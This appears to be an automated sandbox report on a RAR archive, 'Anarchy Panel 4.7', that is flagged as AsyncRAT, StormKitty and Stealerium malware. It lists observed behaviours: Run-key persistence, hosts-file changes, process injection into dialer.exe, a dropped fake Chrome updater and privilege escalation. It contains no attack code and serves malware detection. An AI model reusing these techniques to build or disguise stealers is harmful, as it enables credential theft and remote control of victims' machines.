Malware Analysis Report

2024-10-23 19:20

Sample ID 230620-abg2hsha27
Target Anarchy Panel 4.7.rar
SHA256 5a25c825e231e59b74d37cf66f9e048ba0785d209f37e55eb9e56dd8ed4939cf
Tags
rat asyncrat stormkitty stealerium evasion persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5a25c825e231e59b74d37cf66f9e048ba0785d209f37e55eb9e56dd8ed4939cf

Threat Level: Known bad

The file Anarchy Panel 4.7.rar was found to be: Known bad.

Malicious Activity Summary

rat asyncrat stormkitty stealerium evasion persistence

Stealerium family

StormKitty payload

Suspicious use of NtCreateUserProcessOtherParentProcess

Stormkitty family

Asyncrat family

Async RAT payload

Drops file in Drivers directory

Blocklisted process makes network request

Stops running service(s)

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Drops file in System32 directory

Launches sc.exe

Drops file in Program Files directory

Enumerates physical storage devices

Program crash

Unsigned PE

Modifies registry class

Suspicious behavior: AddClipboardFormatListener

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

Uses Task Scheduler COM API

Suspicious use of UnmapMainImage

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-06-20 00:02

Signatures

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Asyncrat family

asyncrat

Stealerium family

stealerium

StormKitty payload

Description Indicator Process Target
N/A N/A N/A N/A

Stormkitty family

stormkitty

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-06-20 00:02

Reported

2023-06-20 00:04

Platform

win10v2004-20230220-en

Max time kernel

137s

Max time network

140s

Command Line

C:\Windows\system32\lsass.exe

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
File created C:\Windows\System32\drivers\etc\hosts C:\Program Files\Google\Chrome\updaters.exe N/A

Stops running service(s)

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Software\Microsoft\Windows\CurrentVersion\Run C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostProcessor = "\"C:\\Users\\Admin\\AppData\\Roaming\\WindowsHostProcessor\\WindowsHostProcessor.exe\" " C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe N/A

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCPS C:\Windows\system32\svchost.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx C:\Windows\System32\svchost.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1496 set thread context of 1700 N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe C:\Windows\System32\dialer.exe
PID 2792 set thread context of 1472 N/A C:\Program Files\Google\Chrome\updaters.exe C:\Windows\System32\dialer.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Google\Chrome\updaters.exe C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\system32\WerFault.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\WerFault.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\WerFault.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Windows\system32\WerFault.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\system32\WerFault.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Windows\Explorer.EXE N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 20 Jun 2023 00:03:31 GMT" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WasEverActivated = "1" C:\Windows\system32\sihost.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings C:\Windows\Explorer.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\svchost.exe N/A
N/A N/A C:\Windows\System32\svchost.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\svchost.exe N/A
N/A N/A C:\Windows\System32\svchost.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A
N/A N/A C:\Windows\System32\dialer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dialer.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
